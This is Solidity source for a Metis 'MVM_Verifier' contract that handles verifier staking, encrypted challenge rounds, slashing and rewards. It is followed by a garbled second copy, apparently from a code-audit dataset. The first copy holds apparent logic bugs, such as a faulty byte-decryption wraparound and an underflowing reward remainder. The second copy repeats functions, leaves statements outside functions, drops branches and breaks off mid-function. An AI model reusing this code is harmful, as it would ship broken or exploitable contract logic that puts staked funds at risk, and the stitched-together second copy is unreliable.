mapping (address => uint8) public consensus_strikes;
// only one active challenge for each chain chainid=>cIndex
mapping (uint256 => uint256) public chain_under_challenge;
// white list
mapping (address => bool) public whitelist;
bool useWhiteList;
address[] public verifiers;
Challenge[] public challenges;
uint public verifyWindow = 3600 * 24; // 24 hours of window to complete the each verify phase
uint public activeChallenges;
uint256 public minStake;
uint256 public seqStake;
uint256 public numQualifiedVerifiers;
uint FAIL_THRESHOLD = 2; // 1 time grace
uint ABSENCE_THRESHOLD = 4; // 2 times grace
modifier onlyManager {
require(
msg.sender == resolve(CONFIG_OWNER_KEY),
"MVM_Verifier: Function can only be called by the METIS_MANAGER."
);
_;
}
modifier onlyWhitelisted {
require(isWhiteListed(msg.sender), "only whitelisted verifiers can call");
_;
}
modifier onlyStaked {
require(isSufficientlyStaked(msg.sender), "insufficient stake");
_;
}
constructor(
)
Lib_AddressResolver(address(0))
{
}
// add stake as a verifier
function verifierStake(uint256 stake) public onlyWhitelisted{
require(activeChallenges == 0, "stake is currently prohibited"); //ongoing challenge
require(stake > 0, "zero stake not allowed");
require(IERC20(metis).transferFrom(msg.sender, address(this), stake), "transfer metis failed");
uint256 previousBalance = verifier_stakes[msg.sender];
verifier_stakes[msg.sender] += stake;
require(isSufficientlyStaked(msg.sender), "insufficient stake to qualify as a verifier");
if (previousBalance == 0) {
numQualifiedVerifiers++;
verifiers.push(msg.sender);
}
emit Stake(msg.sender, stake);
}
// start a new challenge
// @param chainID chainid
// @param header chainbatch header
// @param proposedHash encrypted hash of the correct state
// @param keyhash hash of the decryption key
//
// @dev why do we ask for key and keyhash? because we want verifiers compute the state instead
// of just copying from other verifiers.
function newChallenge(uint256 chainID, Lib_OVMCodec.ChainBatchHeader calldata header, bytes calldata proposedHash, bytes calldata keyhash)
public onlyWhitelisted onlyStaked {
uint tempIndex = chain_under_challenge[chainID] - 1;
require(tempIndex == 0 || block.timestamp - challenges[tempIndex].timestamp > verifyWindow * 2, "there is an ongoing challenge");
if (tempIndex > 0) {
finalize(tempIndex);
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
// while the root is encrypted, the timestamp is available in the extradata field of the header
require(stateChain.insideFraudProofWindow(header), "the batch is outside of the fraud proof window");
Challenge memory c;
c.chainID = chainID;
c.challenger = msg.sender;
c.timestamp = block.timestamp;
c.header = header;
challenges.push(c);
uint cIndex = challenges.length - 1;
// house keeping
challenge_hashes[cIndex][msg.sender] = proposedHash;
challenge_key_hashes[cIndex][msg.sender] = keyhash;
challenges[cIndex].numVerifiers++; // the challenger
// this will prevent stake change
activeChallenges++;
chain_under_challenge[chainID] = cIndex + 1; // +1 because 0 means no in-progress challenge
emit NewChallenge(cIndex, chainID, header, block.timestamp);
}
// phase 1 of the verify, provide an encrypted hash and the hash of the decryption key
// @param cIndex index of the challenge
// @param hash encrypted hash of the correct state (for the index referred in the challenge)
// @param keyhash hash of the decryption key
function verify1(uint256 cIndex, bytes calldata hash, bytes calldata keyhash) public onlyWhitelisted onlyStaked{
require(challenge_hashes[cIndex][msg.sender].length == 0, "verify1 already completed for the sender");
challenge_hashes[cIndex][msg.sender] = hash;
challenge_key_hashes[cIndex][msg.sender] = keyhash;
challenges[cIndex].numVerifiers++;
emit Verify1(cIndex, msg.sender);
}
// phase 2 of the verify, provide the actual key to decrypt the hash
// @param cIndex index of the challenge
// @param key the decryption key
function verify2(uint256 cIndex, bytes calldata key) public onlyStaked onlyWhitelisted{
require(challenges[cIndex].numVerifiers == numQualifiedVerifiers
|| block.timestamp - challenges[cIndex].timestamp > verifyWindow, "phase 2 not ready");
require(challenge_hashes[cIndex][msg.sender].length > 0, "you didn't participate in phase 1");
if (challenge_keys[cIndex][msg.sender].length > 0) {
finalize(cIndex);
return;
}
//verify whether the key matches the keyhash initially provided.
require(sha256(key) == bytes32(challenge_key_hashes[cIndex][msg.sender]), "key and keyhash don't match");
if (msg.sender == challenges[cIndex].challenger) {
//decode the root in the header too
challenges[cIndex].header.batchRoot = bytes32(decrypt(abi.encodePacked(challenges[cIndex].header.batchRoot), key));
}
challenge_keys[cIndex][msg.sender] = key;
challenge_hashes[cIndex][msg.sender] = decrypt(challenge_hashes[cIndex][msg.sender], key);
challenges[cIndex].verifiers.push(msg.sender);
emit Verify2(cIndex, msg.sender);
finalize(cIndex);
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
// not ready to finalize. do nothing
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
// not qualified as a verifier
continue;
}
//record the agreement
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
//agree with the challenger
if (absence_strikes[verifiers[i]] > 0) {
absence_strikes[verifiers[i]] -= 1; // slowly clear the strike
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
} else if (challenge_keys[cIndex][verifiers[i]].length == 0) {
//absent
absence_strikes[verifiers[i]] += 2;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
} else {
//disagree with the challenger
if (absence_strikes[verifiers[i]] > 0) {
absence_strikes[verifiers[i]] -= 1; // slowly clear the strike
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
// wrong header, penalize the challenger
reward += penalize(challenge.challenger);
// reward the disagrees. but no penalty on agrees because the input
// is garbage.
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
} else if (challenge.verifiers.length < numQualifiedVerifiers * 75 / 100) {
// the absent verifiers get a absense strike. no other penalties. already done
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
// no consensus, challenge failed.
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
} else {
// reached agreement. delete the batch root and slash the sequencer if the header is still valid
if(stateChain.insideFraudProofWindow(challenge.header)) {
// this header needs to be within the window
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
// temporary for the p1 of the decentralization roadmap
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
} else {
//not in the window anymore. let it pass... no penalty
emit Finalize(cIndex, msg.sender, SETTLEMENT.PASS);
}
}
} else {
//wasteful challenge, add consensus_strikes to the challenger
consensus_strikes[challenge.challenger] += 2;
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function depositSeqStake(uint256 amount) public onlyManager {
require(IERC20(metis).transferFrom(msg.sender, address(this), amount), "transfer metis failed");
seqStake += amount;
emit Stake(msg.sender, amount);
}
function withdrawSeqStake(address to) public onlyManager {
require(seqStake > 0, "no stake");
emit Withdraw(msg.sender, seqStake);
uint256 amount = seqStake;
seqStake = 0;
require(IERC20(metis).transfer(to, amount), "transfer metis failed");
}
function claim() public {
require(rewards[msg.sender] > 0, "no reward to claim");
uint256 amount = rewards[msg.sender];
rewards[msg.sender] = 0;
require(IERC20(metis).transfer(msg.sender, amount), "token transfer failed");
emit Claim(msg.sender, amount);
}
function withdraw(uint256 amount) public {
require(activeChallenges == 0, "withdraw is currently prohibited"); //ongoing challenge
uint256 balance = verifier_stakes[msg.sender];
require(balance >= amount, "insufficient stake to withdraw");
if (balance - amount < minStake && balance >= minStake) {
numQualifiedVerifiers--;
deleteVerifier(msg.sender);
}
verifier_stakes[msg.sender] -= amount;
require(IERC20(metis).transfer(msg.sender, amount), "token transfer failed");
}
function setMinStake(
uint256 _minStake
)
public
onlyManager
{
minStake = _minStake;
uint num = 0;
if (verifiers.length > 0) {
address[] memory arr = new address[](verifiers.length);
for (uint i = 0; i < verifiers.length; ++i) {
if (verifier_stakes[verifiers[i]] >= minStake) {
arr[num] = verifiers[i];
num++;
}
}
if (num < verifiers.length) {
delete verifiers;
for (uint i = 0; i < num; i++) {
verifiers.push(arr[i]);
}
}
}
numQualifiedVerifiers = num;
}
// helper
function isWhiteListed(address verifier) view public returns(bool){
return !useWhiteList || whitelist[verifier];
}
function isSufficientlyStaked (address target) view public returns(bool) {
return (verifier_stakes[target] >= minStake);
}
// set the length of the time windows for each verification phase
function setVerifyWindow (uint256 window) onlyManager public {
verifyWindow = window;
}
// add the verifier to the whitelist
function setWhiteList(address verifier, bool allowed) public onlyManager {
whitelist[verifier] = allowed;
useWhiteList = true;
}
// allow everyone to be the verifier
function disableWhiteList() public onlyManager {
useWhiteList = false;
}
function setThreshold(uint absence_threshold, uint fail_threshold) public onlyManager {
ABSENCE_THRESHOLD = absence_threshold;
FAIL_THRESHOLD = fail_threshold;
}
function getMerkleRoot(bytes32[] calldata elements) pure public returns (bytes32) {
return Lib_MerkleTree.getMerkleRoot(elements);
}
//helper fucntion to encrypt data
function encrypt(bytes calldata data, bytes calldata key) pure public returns (bytes memory) {
bytes memory encryptedData = data;
uint j = 0;
for (uint i = 0; i < encryptedData.length; i++) {
if (j == key.length) {
j = 0;
}
encryptedData[i] = encryptByte(encryptedData[i], uint8(key[j]));
j++;
}
return encryptedData;
}
function encryptByte(bytes1 b, uint8 k) pure internal returns (bytes1) {
uint16 temp16 = uint16(uint8(b));
temp16 += k;
if (temp16 > 255) {
temp16 -= 256;
}
return bytes1(uint8(temp16));
}
// helper fucntion to decrypt the data
function decrypt(bytes memory data, bytes memory key) pure public returns (bytes memory) {
bytes memory decryptedData = data;
uint j = 0;
for (uint i = 0; i < decryptedData.length; i++) {
if (j == key.length) {
j = 0;
}
decryptedData[i] = decryptByte(decryptedData[i], uint8(key[j]));
j++;
}
return decryptedData;
}
function decryptByte(bytes1 b, uint8 k) pure internal returns (bytes1) {
uint16 temp16 = uint16(uint8(b));
if (temp16 > k) {
temp16 -= k;
} else {
temp16 = 256 - k;
}
return bytes1(uint8(temp16));
}
// calculate the rewards
function distributeReward(uint256 amount, address[] memory list, uint num) internal {
uint reward = amount / num;
if (reward == 0) {
return;
}
uint total = 0;
for (uint i; i < list.length; i++) {
if (isSufficientlyStaked(list[i])) {
rewards[list[i]] += reward;
total += reward;
emit Reward(list[i], reward);
}
}
if (total < amount) {
if (isSufficientlyStaked(list[0])) {
rewards[list[0]] += total - amount;
emit Reward(list[0], total - amount);
} else {
rewards[list[1]] += total - amount;
emit Reward(list[1], total - amount);
}
}
}
// slash the verifier stake
function penalize(address target) internal returns(uint256) {
uint256 stake = verifier_stakes[target];
verifier_stakes[target] = 0;
numQualifiedVerifiers--;
deleteVerifier(target);
emit Penalize(target, stake);
return stake;
}
function deleteVerifier(address target) internal {
bool hasVerifier = false;
uint pos = 0;
for (uint i = 0; i < verifiers.length; i++){
if (verifiers[i] == target) {
hasVerifier = true;
pos = i;
break;
}
}
if (hasVerifier) {
for (uint i = pos; i < verifiers.length-1; i++) {
verifiers[i] = verifiers[i+1];
}
verifiers.pop();
}
}
}
|
second slotchallenge info
|
contract MVM_Verifier is Lib_AddressResolver{
address public metis;
event NewChallenge(uint256 cIndex, uint256 chainID, Lib_OVMCodec.ChainBatchHeader header, uint256 timestamp);
event Verify1(uint256 cIndex, address verifier);
event Verify2(uint256 cIndex, address verifier);
event Finalize(uint256 cIndex, address sender, SETTLEMENT result);
event Penalize(address sender, uint256 stakeLost);
event Reward(address target, uint256 amount);
event Claim(address sender, uint256 amount);
event Withdraw(address sender, uint256 amount);
event Stake(address verifier, uint256 amount);
event SlashSequencer(uint256 chainID, address seq);
string constant public CONFIG_OWNER_KEY = "METIS_MANAGER";
}
pragma solidity ^0.8.9;
enum SETTLEMENT {NOT_ENOUGH_VERIFIER, SAME_ROOT, AGREE, DISAGREE, PASS}
struct Challenge {
address challenger;
uint256 chainID;
uint256 index;
Lib_OVMCodec.ChainBatchHeader header;
uint256 timestamp;
uint256 numQualifiedVerifiers;
uint256 numVerifiers;
address[] verifiers;
bool done;
}
mapping (address => uint256) public verifier_stakes;
mapping (uint256 => mapping (address=>bytes)) private challenge_keys;
mapping (uint256 => mapping (address=>bytes)) private challenge_key_hashes;
mapping (uint256 => mapping (address=>bytes)) private challenge_hashes;
mapping (address => uint256) public rewards;
mapping (address => uint8) public absence_strikes;
mapping (address => uint8) public consensus_strikes;
bool useWhiteList;
address[] public verifiers;
Challenge[] public challenges;
uint public activeChallenges;
uint256 public minStake;
uint256 public seqStake;
uint256 public numQualifiedVerifiers;
mapping (uint256 => uint256) public chain_under_challenge;
mapping (address => bool) public whitelist;
modifier onlyManager {
require(
msg.sender == resolve(CONFIG_OWNER_KEY),
"MVM_Verifier: Function can only be called by the METIS_MANAGER."
);
_;
}
modifier onlyWhitelisted {
require(isWhiteListed(msg.sender), "only whitelisted verifiers can call");
_;
}
modifier onlyStaked {
require(isSufficientlyStaked(msg.sender), "insufficient stake");
_;
}
constructor(
)
Lib_AddressResolver(address(0))
{
}
function verifierStake(uint256 stake) public onlyWhitelisted{
require(stake > 0, "zero stake not allowed");
require(IERC20(metis).transferFrom(msg.sender, address(this), stake), "transfer metis failed");
uint256 previousBalance = verifier_stakes[msg.sender];
verifier_stakes[msg.sender] += stake;
require(isSufficientlyStaked(msg.sender), "insufficient stake to qualify as a verifier");
if (previousBalance == 0) {
numQualifiedVerifiers++;
verifiers.push(msg.sender);
}
emit Stake(msg.sender, stake);
}
function verifierStake(uint256 stake) public onlyWhitelisted{
require(stake > 0, "zero stake not allowed");
require(IERC20(metis).transferFrom(msg.sender, address(this), stake), "transfer metis failed");
uint256 previousBalance = verifier_stakes[msg.sender];
verifier_stakes[msg.sender] += stake;
require(isSufficientlyStaked(msg.sender), "insufficient stake to qualify as a verifier");
if (previousBalance == 0) {
numQualifiedVerifiers++;
verifiers.push(msg.sender);
}
emit Stake(msg.sender, stake);
}
function newChallenge(uint256 chainID, Lib_OVMCodec.ChainBatchHeader calldata header, bytes calldata proposedHash, bytes calldata keyhash)
public onlyWhitelisted onlyStaked {
uint tempIndex = chain_under_challenge[chainID] - 1;
require(tempIndex == 0 || block.timestamp - challenges[tempIndex].timestamp > verifyWindow * 2, "there is an ongoing challenge");
if (tempIndex > 0) {
finalize(tempIndex);
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
Challenge memory c;
c.chainID = chainID;
c.challenger = msg.sender;
c.timestamp = block.timestamp;
c.header = header;
challenges.push(c);
uint cIndex = challenges.length - 1;
challenge_key_hashes[cIndex][msg.sender] = keyhash;
emit NewChallenge(cIndex, chainID, header, block.timestamp);
}
function newChallenge(uint256 chainID, Lib_OVMCodec.ChainBatchHeader calldata header, bytes calldata proposedHash, bytes calldata keyhash)
public onlyWhitelisted onlyStaked {
uint tempIndex = chain_under_challenge[chainID] - 1;
require(tempIndex == 0 || block.timestamp - challenges[tempIndex].timestamp > verifyWindow * 2, "there is an ongoing challenge");
if (tempIndex > 0) {
finalize(tempIndex);
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
Challenge memory c;
c.chainID = chainID;
c.challenger = msg.sender;
c.timestamp = block.timestamp;
c.header = header;
challenges.push(c);
uint cIndex = challenges.length - 1;
challenge_key_hashes[cIndex][msg.sender] = keyhash;
emit NewChallenge(cIndex, chainID, header, block.timestamp);
}
require(stateChain.insideFraudProofWindow(header), "the batch is outside of the fraud proof window");
challenge_hashes[cIndex][msg.sender] = proposedHash;
activeChallenges++;
function verify1(uint256 cIndex, bytes calldata hash, bytes calldata keyhash) public onlyWhitelisted onlyStaked{
require(challenge_hashes[cIndex][msg.sender].length == 0, "verify1 already completed for the sender");
challenge_hashes[cIndex][msg.sender] = hash;
challenge_key_hashes[cIndex][msg.sender] = keyhash;
challenges[cIndex].numVerifiers++;
emit Verify1(cIndex, msg.sender);
}
function verify2(uint256 cIndex, bytes calldata key) public onlyStaked onlyWhitelisted{
require(challenges[cIndex].numVerifiers == numQualifiedVerifiers
|| block.timestamp - challenges[cIndex].timestamp > verifyWindow, "phase 2 not ready");
require(challenge_hashes[cIndex][msg.sender].length > 0, "you didn't participate in phase 1");
if (challenge_keys[cIndex][msg.sender].length > 0) {
finalize(cIndex);
return;
}
if (msg.sender == challenges[cIndex].challenger) {
challenges[cIndex].header.batchRoot = bytes32(decrypt(abi.encodePacked(challenges[cIndex].header.batchRoot), key));
}
challenge_keys[cIndex][msg.sender] = key;
challenge_hashes[cIndex][msg.sender] = decrypt(challenge_hashes[cIndex][msg.sender], key);
challenges[cIndex].verifiers.push(msg.sender);
emit Verify2(cIndex, msg.sender);
finalize(cIndex);
}
function verify2(uint256 cIndex, bytes calldata key) public onlyStaked onlyWhitelisted{
require(challenges[cIndex].numVerifiers == numQualifiedVerifiers
|| block.timestamp - challenges[cIndex].timestamp > verifyWindow, "phase 2 not ready");
require(challenge_hashes[cIndex][msg.sender].length > 0, "you didn't participate in phase 1");
if (challenge_keys[cIndex][msg.sender].length > 0) {
finalize(cIndex);
return;
}
if (msg.sender == challenges[cIndex].challenger) {
challenges[cIndex].header.batchRoot = bytes32(decrypt(abi.encodePacked(challenges[cIndex].header.batchRoot), key));
}
challenge_keys[cIndex][msg.sender] = key;
challenge_hashes[cIndex][msg.sender] = decrypt(challenge_hashes[cIndex][msg.sender], key);
challenges[cIndex].verifiers.push(msg.sender);
emit Verify2(cIndex, msg.sender);
finalize(cIndex);
}
require(sha256(key) == bytes32(challenge_key_hashes[cIndex][msg.sender]), "key and keyhash don't match");
function verify2(uint256 cIndex, bytes calldata key) public onlyStaked onlyWhitelisted{
require(challenges[cIndex].numVerifiers == numQualifiedVerifiers
|| block.timestamp - challenges[cIndex].timestamp > verifyWindow, "phase 2 not ready");
require(challenge_hashes[cIndex][msg.sender].length > 0, "you didn't participate in phase 1");
if (challenge_keys[cIndex][msg.sender].length > 0) {
finalize(cIndex);
return;
}
if (msg.sender == challenges[cIndex].challenger) {
challenges[cIndex].header.batchRoot = bytes32(decrypt(abi.encodePacked(challenges[cIndex].header.batchRoot), key));
}
challenge_keys[cIndex][msg.sender] = key;
challenge_hashes[cIndex][msg.sender] = decrypt(challenge_hashes[cIndex][msg.sender], key);
challenges[cIndex].verifiers.push(msg.sender);
emit Verify2(cIndex, msg.sender);
finalize(cIndex);
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
